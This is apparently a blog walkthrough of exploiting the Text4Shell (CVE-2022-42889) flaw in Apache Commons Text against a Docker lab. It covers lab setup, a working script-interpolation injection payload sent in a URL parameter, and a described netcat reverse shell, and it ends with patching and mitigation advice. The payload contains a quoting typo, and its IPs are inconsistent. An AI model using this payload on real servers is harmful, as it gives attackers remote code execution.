Walkthrough of Exploiting CVE-2022–42889 (Text4Shell/ACT4Shell)

Martian
System Weakness
Published in
7 min readOct 29, 2022

--

Summary

In this article, I will be providing a walkthrough of exploiting the Text4Shell vulnerability within Apache Commons. This vulnerability discovered by Alvaro Muñoz, affects Java library Apache Commons Text (ACT) versions 1.5 to 1.9 with a CVSS score of 9.8. Given the right circumstances, this is a critical vulnerability and it is fairly easy to set up a proof-of-concept.

Exploit Overview

The impact of this particular Remote Code Execution (RCE) vulnerability may not measure up to Log4Shell due to differences in intended functionality in Apache Commons Text. ACT allows properties to be dynamically evaluated and expanded via the use of variable interpolation. ACT has a specific format for interpolation.

The format is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. This set of default Lookup instances included interpolators that could result in remote arbitrary code execution.

Proof-of-Concept Lab Info

Setting up a lab for a PoC to gain an understanding of this vulnerability/exploit is quick and easy, thanks to the open-source community. For this walkthrough I used the vulnerable Docker instance that was recently built by U J Karthik on Github. The attacking machine is a VM running 64-bit Parrot OS. The machine used to host the vulnerable ACT version within Docker is a VM running 64-bit Ubuntu 22.10.

The Setup: Java, Docker and Apache Maven

The environment needed to deploy and run the vulnerable instance can be installed using this method:

Step 1. On victim machine (Ubuntu) ensure packages are updated followed by installing Java and Docker. This can be done at once by copying the command below:

sudo apt update && sudo apt install openjdk-11-jdk docker.io containerd runc -y

What's happening here?

Using && in the Linux shell performs the next command after the previous one has been executed.

Installing Apache Maven and the test app

Step 2. We will need to change to the temporary directory (/tmp) on the victim machine. Afterwards we will need to download install Maven in /opt

cd /tmp && wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz && tar -xvf apache-maven-3.6.3-bin.tar.gz && sudo mv apache-maven-3.6.3 /opt/

The stuff happened again, okay let me explain what is going on right here. The wget command retrieved the Apache Maven 3.6.3 .tar file, the tar -xvf command then uncompressed it and we moved the uncompressed copy to /opt.

Step 3. Ensure to set environment variables for the downloaded Apache Maven package and install the vulnerable instance from Github using this one-liner below.

M2_HOME='/opt/apache-maven-3.6.3' && PATH="$M2_HOME/bin:$PATH" && export PATH

The two commands below accomplishes getting Maven downloaded and switching to directory with the Docker PoC.

git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git cd /tmp/cve-2022-42889-text4shell-docker/

Successfully running all three of the commands in this step should look something like this:

After the repo has been cloned locally, we will need to work out of the new directory with the cd to install Apache Maven.

Step 5. Install Apache Maven, build and tag the docker instance

mvn clean install && sudo docker build --tag=text4shell .

Once the environment is built, review the output for completion of the install and build:

Step 6. After successful installation of Maven and Docker environment, start the Docker instance.

docker run -p 80:8080 text4shell

Verify that it displays the appropriate banner, this confirms that the docker has initiated the boot sequence for the vulnerable app.

Step 7. The Docker instance, on victim machine should be running, and visiting the vulnerable URL on the victim machine should immediately demonstrate the vulnerability.

Notice right here how this resource does not exist but the URL doesn't return any errors either!!

Verifying Connectivity

Step 8. Make note of Attack machine (parrot) IP address and start listening for ICMP traffic.

In the commands above, I have retrieved the attack machine IP/interface name and started a listener for testing connectivity to/from the docker instance. This mimics the remote interaction between attacker and server running vulnerable ACT.

Step 9. On the victim machine (Ubuntu), verify connectivity and make note of victim IP address

Both IP addresses are now confirmed and will be used for sending/verifying attack vectors. Vulnerable Apache is at 192.168.108.131 and the attack machine is at 192.168.108.129.

Note: Expect that the IP address within your environment will not be same

The Attack

Step 10. On the attack machine (Parrot), open a web browser to use for the PoC and craft the malicious payload.

Actively exploiting this flaw comes from the vulnerability in how the string {prefix:name} is passed on the remote server. This can happen if the attacker crafts a malicious payload and sends it to the server.

The payload below was crafted in plaintext:

http://192.168.62.174/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec'touch /tmp/martian’)}

Everything after /attack?search= needs to be URL encoded for this to be successful in the browser.

URL Encoding the payload should look similar to this one and return the below results

http://192.168.108.131/text4shell/attack?search=insert_your_payload_here

Note: Once again, there are no errors returned, as if it was ran from the server itself. This is a possible indication of successful RCE.

Step 11 (Optional). Let’s see if RCE actually happened on the victim machine by initiating a shell with the docker exec command.
Make note of the container id for the Docker instance (Apache) and start a shell.

Make note of the container id for the Docker instance (Apache) and start a shell.

We can see that the malicious action was completed and the payload was successful!!

Step 12. Craft a malicious payload to achieve RCE on the server.

Below is a URL encoded netcat reverse shell used from Pentest Monkey cheatsheet.

Step 13. On the attack machine, set up a netcat (nc) listener on port 4444 to grab a reverse shell and visit the malicious URL to achieve RCE!

Notice of the container id (hostname), IP info from optional step 11. As we can see above, this is an successful RCE with root level privileges.

The fix?

Testing for this vulnerability using the method above can be done anywhere this vulnerable version is deployed. Apache has released a patch in new ACT version 1.10 but patching is not always fast nor easy. Try to replicate the attack section in the environment to be tested.

Those who have public facing instances of the vulnerable ACT should keep in mind that this was done in the browser and it doesn’t require much skill to exploit. The impact and severity of this vulnerability actually depends on the proper input validation mechanisms of the server, though it should be properly patched whenever within business capabilities.

In the event that vulnerable versions can’t be fully patched ensure to change the string interpolation defaults as described in the ACT docs. This is also the official fix by Apache implemented to prevent unintended/malicious input (lookups) via string interpolation

--

--